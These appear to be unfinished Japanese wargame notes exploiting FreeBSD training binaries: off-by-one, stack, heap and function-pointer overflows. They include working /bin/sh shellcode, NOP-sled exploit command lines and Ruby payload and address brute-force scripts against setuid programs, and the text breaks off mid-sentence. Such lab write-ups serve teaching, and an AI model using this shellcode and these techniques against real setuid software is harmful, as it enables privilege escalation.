TODO: 書きかけ途中。あとで確認して整理すること。
off-by-oneな問題
引数に16byte以上指定すると落ちる。
$ ./eat ./eat <string> $ ./eat aaa first character: a $ ./eat `ruby -e 'print "a"*15'` first character: a $ ./eat `ruby -e 'print "a"*16'` first character: a zsh: segmentation fault (core dumped) ./eat `ruby -e 'print "a"*16'`
0x80484c0からはじまる関数からreturnするときに落ちているっぽい。
strcpy()とかでargv[1]をスタック上のバッファにコピーしたときに、文字列の最後の0x00の分が1byte分ebpをpushしている領域にはみ出ているっぽい。
正常に動くとき。(a)〜(b)に"a"*15+"\x00"の16byteが格納されている。
(gdb) b *0x8048574 (gdb) run `ruby -e 'print "a"*15'` (gdb) x/16x $esp - 32 0xbfbfe770: 0x00000028 0xbfbfe7e0 0x61616161<-(a) 0x61616161 0xbfbfe780: 0x61616161 0x00616161<-(b) 0xbfbfe7a8 0x0804856f 0xbfbfe790: 0xbfbfe97f 0x0000000f 0xbfbfe890 0xbfbfe8a8 0xbfbfe7a0: 0xbfbfe898 0x0000000f 0xbfbfe7c8 0x080485da
はみ出しているとき。(c)〜(e)に"a"*16+"\x00"の17byteが格納されている。16文字以上は同じ。 (e)が格納されているのはスタック上のebpがpushされている場所。
(gdb) b *0x8048574 (gdb) run `ruby -e 'print "a"*16'` (gdb) x/16x $esp - 32 0xbfbfe770: 0x00000028 0xbfbfe7e0 0x61616161<-(c) 0x61616161 0xbfbfe780: 0x61616161 0x61616161<-(d) 0xbfbfe700<-(e) 0x0804856f 0xbfbfe790: 0xbfbfe97f 0x00000010 0xbfbfe890 0xbfbfe8a8 0xbfbfe7a0: 0xbfbfe898 0x00000010 0xbfbfe7c8 0x080485da
つまり、ebpの下位1byteだけが0x00で上書きすることが可能。
shellcodeを実行するためにクリアする必要があるポイント
(1)について今回は、0xbfbfe700辺りに(c)〜(d)のバッファが配置されるように、環境変数や引数に与えるデータ量を調整する。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*16'`
(gdb) x/16x $esp - 32
0xbfbfe750: 0x00000028 0xbfbfe7c0 0x61616161<-(f) 0x61616161
0xbfbfe760: 0x61616161 0x61616161<-(g) 0xbfbfe700 0x0804856f
0xbfbfe770: 0xbfbfe96b 0x00000010 0xbfbfe87c 0xbfbfe894
0xbfbfe780: 0xbfbfe884 0x00000010 0xbfbfe7a8 0x080485da
・
・
・
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*112'`
(gdb) x/16x $esp - 32
0xbfbfe6f0: 0x00000028 0xbfbfe760 0x61616161<-(h) 0x61616161
0xbfbfe700: 0x61616161<-(i) 0x61616161<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710: 0xbfbfe90b 0x00000010 0xbfbfe81c 0xbfbfe834
0xbfbfe720: 0xbfbfe824 0x00000010 0xbfbfe748 0x080485da
argv[2]にbを112文字突っ込んだら、(h)〜(j)のバッファが0xbfbfe700辺りに配置された。
ここまで来たら、level3と同じように、(j)にジャンプ先のアドレスを入れておけば、任意アドレスのコードを実行することができる。
(gdb) run `ruby -e 'print "a"*12+"AAAA"'` `ruby -e 'print "b"*112'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () <-"AAAA"の文字列
(2)については、とりあえずargv[2]の領域にshellcodeを配置して実行する。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
Reading symbols from /lib/libc.so.7...(no debugging symbols found)...done.
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done.
first character: a
Breakpoint 1, 0x08048574 in ?? ()
(gdb) x/256x $esp - 32
0xbfbfe6f0: 0x00000028 0xbfbfe760 0x61616161<-(h) 0x61616161
0xbfbfe700: 0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710: 0xbfbfe90b 0x00000010 0xbfbfe81c 0xbfbfe834
・
・
・
0xbfbfe900: 0x6576656c 0x652f386c 0x61007461<-(l) 0x61616161
0xbfbfe910: 0x61616161 0x1c616161 0x00bfbfe9 0x8950c031<-(m)
0xbfbfe920: 0x10e883e0 0x31e38950 0x2f6850c0 0x6868732f
0xbfbfe930: 0x6e69622f 0xc031e289 0x50525350 0x80cd3bb0
0xbfbfe940: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe950: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe960: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe970: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe980: 0x62626262 0x62626262 0x62626262 0x2f3d5f00
(gdb) c
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x280655f0 in __stack_chk_fail_local () from /libexec/ld-elf.so.1
gdb上ではshellcodeは実行されないけど、"It might be running in another process."が表示されているとexploitが決まってるっぽい雰囲気。
あとは、gdbなし環境で実行できるようにアドレスを調整する。
ただ、今回はアドレスを調整するのが非常に難しい。難しい原因は次の通り
地道に探してみるか…
まずは(1)を調整してみる。
$ cd ~
$ mkdir level8
$ cd level8
$ cp /home/level8/eat .
$ rm -f eat.core && ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
first character: a
zsh: segmentation fault (core dumped)
$ gdb -c eat.core
GNU gdb 6.1.1 [FreeBSD]Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `eat'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfe932 in ?? ()
(gdb) x/256x 0xbfbfe6f0 <- 前のバッファ周辺のアドレスを探してみる
0xbfbfe700: 0x00000010 0xbfbfe932 0xbfbfe748 0x00000061
0xbfbfe710: 0xbfbfe724 0x00000003 0xbfbfe748 0x0804851f
0xbfbfe720: 0x0804867d 0x00000061 0x00000010 0x28088000
0xbfbfe730: 0x00000028 0xbfbfe7a0 0x61616161<-(h) 0x61616161
0xbfbfe740: 0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe750: 0xbfbfe922 0x00000010 0x00000000 0x00000000
0xbfbfe760: 0x00000000 0x00000010 0xbfbfe788 0x080485da
0xbfbfe770: 0xbfbfe922 0x00000000 0xbfbfe798 0xbfbfe7a0
0xbfbfe780: 0x00000020 0xbfbfe7a0 0xbfbfe7b8 0x08048449 ・
・
・
・
いろいろ試してみると、1byteだけ書き換えた(k)の値は0xbfbfe700から変わらないっぽいので、 argv[2]の長さをいろいろ試してみると…
[yoggy@freebsd80 ~]$ cd /home/level8/
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*140 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*150 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
・
・
・
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
$
$ whoami
level8
$ ls
eat eat.ans password
$ cat password
1byte overflow!
$
argv[2]の先頭アドレスをぴったり当てなくても大丈夫なように、 argv[2]の先頭にNOP(0x90)を入れておいて、その後ろにshellcodeを配置。 (j)で指定するジャンプ先がargv[2]の先頭付近に着地すればOKなように工夫。
argv[2]の長さは環境にあわせて調整すること。
$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
普通の環境では、unlink_small_chunk()の中でF,Bの内容チェックが行われている。
考えないといけない点
shellcodeを実行するコツ?(by ucq)
TODO: 書きかけ途中。あとで確認して整理すること。
寝坊&遅刻してすいませんでした…
ヒープ上の関数ポインタの書き換え。
$ cd ~level2 $ ls -al $ ls -l total 18 -rwsr-xr-x 2 level2 level2 3584 2 4 20:31 b06* -rw-rw-rw- 1 level2 level2 9165 2 10 00:04 b06.ans -rw------- 1 level2 level2 509 2 4 20:33 b06.c -rw------- 1 level2 level2 26 2 4 20:32 password $ ./b06 $ ./b06 <name>
$ ./b06 `ruby -e 'puts "A"*64'` zsh: segmentation fault (core dumped) ./b06 `ruby -e 'puts "A"*64'`
$ gdb b06 (gdb) run `ruby -e 'print "A"*64'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x28174d42 in strcpy () from /lib/libc.so.7 (gdb) run `ruby -e 'print "A"*65'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x08040041 in ?? () (gdb) run `ruby -e 'print "A"*66'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb) run `ruby -e 'print "A"*67'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb) run `ruby -e 'print "A"*68'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
68バイトでジャンプ先アドレスが完全に0x41414141で上書きできるっぽい。
(gdb) bt 3 #0 0x41414141 in ?? () #1 0x080485d1 in ?? () #2 0x28201040 in ?? () (gdb) x/4i 0x080485d1 - 5 0x80485cc: mov %eax,(%esp) 0x80485cf: call *%edx <- ここに0x4141414141が入って落ちている 0x80485d1: mov 0xfffffff4(%ebp),%eax 0x80485d4: mov %eax,(%esp) (gdb) b *0x80485cf
正しく動くときは…
(gdb) run `ruby -e 'print "A"*64'` (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080485cf in ?? () (gdb) p/x $edx <- ここにジャンプしようとしてるので内容をチェック $2 = 0x8048400 (gdb) x/4i $edx 0x8048400: lea 0xc(%ebp,%ebx,4),%esi 0x8048404: test %ebx,%ebx 0x8048406: mov %esi,0x804981c 0x804840c: jle 0x8048444
関数ポインタとかで呼び出されているっぽい?
(gdb) run `ruby -e 'print "A"*64'` (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080485cf in ?? () (gdb) bt 3 #0 0x080485cf in ?? () #1 0x28201040 in ?? () <- ヒープのアドレス #2 0xbfbfe947 in ?? () (gdb) x/32x 0x28201040 0x28201040: 0x41414141 0x41414141 0x41414141 0x41414141 0x28201050: 0x41414141 0x41414141 0x41414141 0x41414141 0x28201060: 0x41414141 0x41414141 0x41414141 0x41414141 0x28201070: 0x41414141 0x41414141 0x41414141 0x41414141 0x28201080: 0x08048400<-(a) 0x00000000 0x00000000 0x00000000 0x28201090: 0x00000000 0x00000000 0x00000000 0x00000000 0x282010a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x282010b0: 0x00000000 0x00000000 0x00000000 0x00000000
先に"x/4i $edx"で確認した値が(a)に格納されていて、0x80485cfの"call *%edx"で ここへジャンプしようとしてるっぽい。
ということは、0x28201040から引数が格納されているので、ここにshellcodeを配置して、 そこにジャンプできればOK。
$ cat ans_l2.rb
#!/usr/bin/ruby
# shellcode (exec /bin/sh, 36byte)
s = ""
s << "\x31\xc0\x50\x89\xe0\x83\xe8\x10"
s << "\x50\x89\xe3\x31\xc0\x50\x68\x2f"
s << "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
s << "\x89\xe2\x31\xc0\x50\x53\x52\x50"
s << "\xb0\x3b\xcd\x80"
# payload (68byte)
payload = s + ("A" * (64 - s.size)) + "\x40\x10\x20\x28"
print payload
$ ~level2/b06 "`ruby ans_l2.rb`"
$ whoami
level2
$ cat ~level2/password
答えの文字列
ジャンプ先アドレスに0x20(半角空白)が含まれている状態で普通に引数で渡すと 引数の区切りとして認識されるので要注意。ダブルクォーテーションでくくって 実行している。
シングルクォーテーション、ダブルクォーテーションなどが引数に含まれる場合も注意が必要。
ポイント
$ cd ~level3 $ ls -l total 22 -rwsr-xr-x 2 level3 level3 3524 2 4 20:38 b03* -rw------- 1 level3 level3 13782 2 10 00:25 b03.ans -rw------- 1 level3 level3 532 2 4 20:39 b03.c -rw------- 1 level3 level3 44 2 4 20:41 password $ ./b03 ./b03 <string>
17文字以上から落ちる。
$ ./b03 AAAA first character: A $ ./b03 `ruby -e 'puts "A"*17'` <- first character: A zsh: segmentation fault (core dumped)
文字数をかえると落ちるアドレスがかわる??
$ gdb b03 (gdb) run `ruby -e 'print "A"*17'` Program received signal SIGSEGV, Segmentation fault. 0x8cbfbfe7 in ?? () (gdb) run `ruby -e 'print "A"*18'` Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) run `ruby -e 'print "A"*19'` Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) run `ruby -e 'print "A"*20'` Program received signal SIGSEGV, Segmentation fault. 0x08048544 in ?? ()
落ちるときにebpに変な値が入っていて落ちてる。スタック周りをみてみると…
(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'` Program received signal SIGSEGV, Segmentation fault. 0x08048544 in ?? () (gdb) x/32x $esp - 32 0xbfbfe760: 0x00000030 0xbfbfe7d0 0x41414141<-(a) 0x42424242 0xbfbfe770: 0x43434343<-(b) 0x44444444<-(c) 0x45454545<-(d) 0x0804853f 0xbfbfe780: 0xbfbfe977 0x00000014 0xbfbfe888 0xbfbfe8a0 0xbfbfe790: 0xbfbfe890 0x00000014 0xbfbfe7b8 0x080485aa 0xbfbfe7a0: 0xbfbfe977 0x00000000 0xbfbfe7c8 0xbfbfe7d0 0xbfbfe7b0: 0x00000028 0xbfbfe7d0 0xbfbfe7f4 0x08048449 0xbfbfe7c0: 0x00000000 0x00000000 0xbfbfe7f4 0x08048449 0xbfbfe7d0: 0x00000002 0xbfbfe7fc 0xbfbfe808 0x00000000
(a)のところから引数が入ってる。レジスタの状態をみてみると、、
(gdb) info register eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x2 2 esp 0xbfbfe780 0xbfbfe780 ebp 0x45454545 0x45454545 <- (d)に格納されている値 esi 0xbfbfe808 -1077942264 edi 0x0 0 eip 0x8048544 0x8048544 eflags 0x10286 66182 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27
"EEEE"の文字列がebpに入っている。
どうもleave命令で落ちているっぽい。
(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'` Program received signal SIGSEGV, Segmentation fault. (gdb) x/1i $eip 0x8048544: leave
eipはいま命令を実行しているアドレスが格納されているレジスタ(Enhanced Instruction Pointer)
"EEEE"の部分に適当に参照可能なアドレスをいれてみる。"CCCC"の格納されているアドレス(b) を指定してみる。
(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDD"+"\x70\xe7\xbf\xbf"'` Program received signal SIGSEGV, Segmentation fault. 0x44444444 in ?? ()
"DDDD"は0x44444444。(c)に格納されているアドレスへジャンプしようとして落ちている。
+ メモ:ここでleave命令の動作について書く
shellcodeを実行するポイント2つ。
ただし、スタックに入るデータが非常に少ない。"AAAABBBBCCCC"の12byteしか入っていない状態。
そこで今回は引数・環境変数領域を利用する。argv[2]の領域にshellcodeを配置してそこにジャンプさせる。
(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'` `ruby -e 'print "B"*32'`
(gdb) x/256x $esp - 32
0xbfbfe740: 0x00000030 0xbfbfe7b0 0x41414141<-(a) 0x42424242
0xbfbfe750: 0x43434343<-(b) 0x44444444<-(c) 0x45454545<-(d) 0x0804853f
0xbfbfe760: 0xbfbfe957 0x00000014 0xbfbfe868 0xbfbfe880
0xbfbfe770: 0xbfbfe870 0x00000014 0xbfbfe798 0x080485aa
0xbfbfe780: 0xbfbfe957 0x00000000 0xbfbfe7a8 0xbfbfe7b0
0xbfbfe790: 0x00000028 0xbfbfe7b0 0xbfbfe7d0 0x08048449
・
・
・
0xbfbfe930: 0x00000000 0x00000000 0x00000000 0x7273752f
0xbfbfe940: 0x6d6f682f 0x6f792f65 0x2f796767 0x6576656c
0xbfbfe950: 0x622f336c 0x41003330<-(e) 0x41414141 0x41414141
0xbfbfe960: 0x41414141 0x41414141 0x00414141 0x42424242<-(f)
0xbfbfe970: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfbfe980: 0x42424242 0x42424242 0x42424242 0x2f3d5f00
0xbfbfe990: 0x2f727375 0x656d6f68 0x676f792f 0x6c2f7967
(e)の0x41の所からargv[1]、(f)の0x42の所からargv[2]が格納されているっぽい。
注意:x/256xを指定しているので、表示はリトルエンディアンのunsigned intの16進数で表示している。4byteずつ並びが逆になって表示されているので注意。
ジャンプ先のアドレスは環境変数などによって変化するので、前述の方法で調べること
$ cd ~
$ ln /home/level3/b03 ./b03
↓ジャンプ先アドレス ↓ジャンプ先アドレスを格納しているアドレスの4byte手前のアドレス。leaveでpop ebpされるアドレス。
$ ./b03 `ruby -e 'print "AAAABBBBCCCC" + "\x87\xe9\xbf\xbf" + "\x90\xe7\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
小さいプログラムを作って、普通に実行したときとgdbを実行したときの差異を調べる。
$ cat test_addr.c
/* gcc test2.c -o test2 */
#include <stdio.h>
void f()
{
char buf[8];
printf("buf addr=0x%08x\n", buf);
}
int main(int argc, char *argv[])
{
printf("argv[1] addr=0x%08x\n", argv[1]);
f();
}
$ gcc test_addr.c -o test_addr
gdbからプログラムが実行される場合、絶対パスで起動される。 通常実行する際に./test_addrと相対パスで起動していると、argv[0]の長さがかわってくるので、argv[1]やargv[2]のアドレスが異なってくる。
通常実行するときもフルパスを指定して起動して、できるだけ環境を合わせておくこと。
$ /home/yoggy/level3/test_addr "AAAABBBBCCCCDDDD" argv[1] addr=0xbfbfe991 buf addr=0xbfbfe7b0 $ gdb test_addr (gdb) run "AAAABBBBCCCCDDDD" argv[1] addr=0xbfbfe96d buf addr=0xbfbfe770
gdb環境 -> 通常実行環境のアドレスの差分を求める
スタック(char buf[8])の差分:
0xbfbfe7b0 - 0xbfbfe770 = 64 (10進数)
引数(argv[1])が格納されているアドレスの差分:
0xbfbfe991 - 0xbfbfe96d = 36 (10進数)
gdbから実行した場合、環境変数
* COLUMNS * LINES
というのが増えるっぽい?
これも引数領域のアドレスが変化する要因になっている。
+sが付加されている実行ファイルを実行した場合は、環境変数に変化は無いっぽい?
$ cat envtest.c
/* gcc envtest.c -o envtest */
#include <stdio.h>
extern char **environ;
main()
{
int i;
char *e;
printf("environ[0] addr = 0x%08x\n", environ[0]);
i = 0;
while(1) {
if (environ[i] == NULL) break;
printf("environ[%d] = %s\n", i, environ[i]);
++i;
}
}
$ gcc envtest.c -o envtest
$ envtest
・
・環境変数一覧が表示される
・
$ sudo chown root envtest
$ sudo chgrp wheel envtest
$ sudo chmod +s envtest
$ ./envtest
・
・表示される環境変数は変わらない
・
(gdb) run `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x68\xeb\xbf\xbf"'` ※最後の4バイトが戻り先アドレス。little endianなので逆になってるので注意
実際に直接実行してみるとshellcodeが動かない。アドレスがちょっと違っているっぽいので動かない
$ ./hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x68\xeb\xbf\xbf"'`
実環境で実行してcoreをはかせて、その環境でバッファの先頭アドレスを調べる。
$ cp ../level1/hello2 . $ ./hello2 `ruby -e 'print "A"*72'` $ gdb ./hello2 hello2.core (gdb) x/64x $esp - 96 0xbfbfeb80: 0xbfbfeb94 0x00000002 0xbfbfebd8 0x080484bb 0xbfbfeb90: 0x080485f1 0xbfbfeb98 0x41414141 0x41414141 <- バッファの先頭(0xbfbfeb98) 0xbfbfeba0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfebb0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfebd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfebe0: 0xbfbfed00 0x2819d0c0 0xbfbfec08 0x0804854a
というわけで、アドレスをかえて試してみる。
$ ./hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x98\xeb\xbf\xbf"'` HELLO! 1######P####Ph//shh/bin####PSRP#;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#뿿 $
setuidされているファイルに対して実行してみる。
../level1/hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0 83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x98\xeb\xbf\xbf"'`
HELLO! 1######P####Ph//shh/bin####PSRP#;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#뿿 zsh: segmentation fault ../level1/hello2
setuidで実行すると環境変数とかが異なってる影響で、アドレスが違うのね…
…というわけで、結局bruteforceしてみることに
#!/usr/local/bin/ruby
# bruteforce address
def brute_addr(start_addr, stop_addr)
step = 4
addr = start_addr
loop do
hex = sprintf("%08x", addr)
a4le = [hex.reverse].pack("h*")
#rubyはsystem()の引数に\x0が含まれていると例外が出るので注意
begin
# hex string, little endian 4bytes address
yield hex, a4le
rescue Exception => e
pp e
end
addr += step
break if addr > stop_addr
end
end
# execute /bin/sh shellcode (36bytes)
shell = ""
shell += "\x31\xc0\x50\x89\xe0\x83\xe8\x10"
shell += "\x50\x89\xe3\x31\xc0\x50\x68\x2f"
shell += "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shell += "\x89\xe2\x31\xc0\x50\x53\x52\x50"
shell += "\xb0\x3b\xcd\x80"
# bruteforce block
start_addr = 0xbfbfeba0
stop_addr = 0xbfbfffff
brute_addr(start_addr, stop_addr) {|hex,a4le|
puts hex
next if a4le[0]==0 || a4le[1]==0 || a4le[2]==0 || a4le[3]==0
payload = shell + "A" * 32 + a4le
cmd = "../level1/hello2"
system(cmd, payload)
}
実行してみる
$ ruby bruteaddr.rb
・
・
・
bfbfffa8
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
bfbfffac
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
bfbfffb0 <- これが当たりのアドレス
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
$
$ whoami
level1
$ ls -al ~level1
total 60
drwxr-xr-x 2 level1 level1 512 Jan 30 16:37 .
drwxr-xr-x 22 root wheel 512 Jan 30 10:22 ..
-rw-r--r-- 1 level1 level1 763 Jan 18 14:54 .cshrc
-rw-r--r-- 1 level1 level1 261 Jan 18 14:54 .login
-rw-r--r-- 1 level1 level1 171 Jan 18 14:54 .login_conf
-rw------- 1 level1 level1 383 Jan 18 14:54 .mail_aliases
-rw-r--r-- 1 level1 level1 343 Jan 18 14:54 .mailrc
-rw-r--r-- 1 level1 level1 789 Jan 18 14:54 .profile
-rw------- 1 level1 level1 288 Jan 18 14:54 .rhosts
-rw-r--r-- 1 level1 level1 984 Jan 18 14:54 .shrc
-rwsr-xr-x 1 level1 level1 3432 Jan 18 17:57 hello2
-rw------- 1 level1 level1 408 Jan 18 17:56 hello2.c
-rw------- 1 level1 level1 12 Jan 18 17:59 password
-rw-r--r-- 1 level1 level1 101 Jan 30 16:37 url
$ cat ~level1/password
************
ヒープオーバフロー
処理の流れ
(gdb) run `ruby -e 'print "A"*64'` (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...ENG: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x08048759 in ?? () (gdb) x/5i $eip - 7 0x8048754 <__gxx_personality_v0+480>: mov 0xfffffff4(%ebp),%eax <- (1) 0x8048757 <__gxx_personality_v0+483>: mov (%eax),%eax <- (2) 0x8048759 <__gxx_personality_v0+485>: mov (%eax),%edx <- (3) %eaxに0x41414141が入っていて、メモリが割り当てられていないアドレスを参照しようとしていて、ここで落ちてる 0x804875b <__gxx_personality_v0+487>: mov 0xfffffff4(%ebp),%eax 0x804875e <__gxx_personality_v0+490>: mov %eax,(%esp) 0x8048761 <__gxx_personality_v0+493>: call *%edx <- (4) 0x8048763 <__gxx_personality_v0+495>: movl $0x0,0xffffffe4(%ebp) (gdb)
してること
普通に動かしてみて、メモリの状態がどうなってるか確認してみる まず(1)の処理は(a)の部分に格納されているintの数値0x28301070をeaxへ格納している。
(gdb) b *0x8048757 Breakpoint 1 at 0x8048757 (gdb) run AAAA Breakpoint 1, 0x08048757 in ?? () (gdb) (gdb) x/16x $ebp - 12 0xbfbfe79c: 0x28301070<-(a) 0xbfbfe7c0 0x00000002 0xbfbfe7e4 0xbfbfe7ac: 0x08048619 0x00000000 0x00000000 0xbfbfe7e4 0xbfbfe7bc: 0x08048619 0x00000002 0xbfbfe7ec 0xbfbfe7f8
次に(2)でeaxが指しているアドレス近辺を調べてみる。まず、正常に実行された場合。
(gdb) b *0x8048757 Breakpoint 1 at 0x8048757 (gdb) run AAAA Breakpoint 1, 0x08048757 in ?? () (gdb) p/x $eax $13 = 0x28301070 (gdb) x/32x 0x28301070 - 64 0x28301030: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301040: 0x08048918 0x41414141<-(c) 0x00000000 0x00000000 0x28301050: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301060: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301070: 0x08048960<-(b) 0x41414141<-(d) 0x00000000 0x00000000 0x28301080: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301090: 0x00000000 0x00000000 0x00000000 0x00000000 0x283010a0: 0x00000000 0x00000000 0x00000000 0x00000000
正常な場合の動作をまとめると次の通り
ちなみに(c)(d)の部分に引数として渡したAAAAの文字列が格納されている。
次にオーバーフローが発生している場合。(c)に格納されている文字列が長過ぎて(b)のcall先アドレスを上書きしてしまっている状態がわかる。
(gdb) b *0x8048757 Breakpoint 1 at 0x8048757 (gdb) run `ruby -e 'print "A"*64'` Breakpoint 1, 0x08048757 in ?? () (gdb) p/x $eax $14 = 0x28301070 (gdb) x/32x 0x28301070 - 64 0x28301030: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301040: 0x08048918 0x41414141<-(c) 0x41414141 0x41414141 0x28301050: 0x41414141 0x41414141 0x41414141 0x41414141 0x28301060: 0x41414141 0x41414141 0x41414141 0x41414141 0x28301070: 0x41414141<-(b) 0x41414141<-(d) 0x41414141 0x41414141 0x28301080: 0x41414141 0x41414141 0x41414141 0x41414141 0x28301090: 0x41414141 0x41414141 0x41414141 0x41414141 0x283010a0: 0x41414141 0x41414141 0x41414141 0x41414141
ということは、
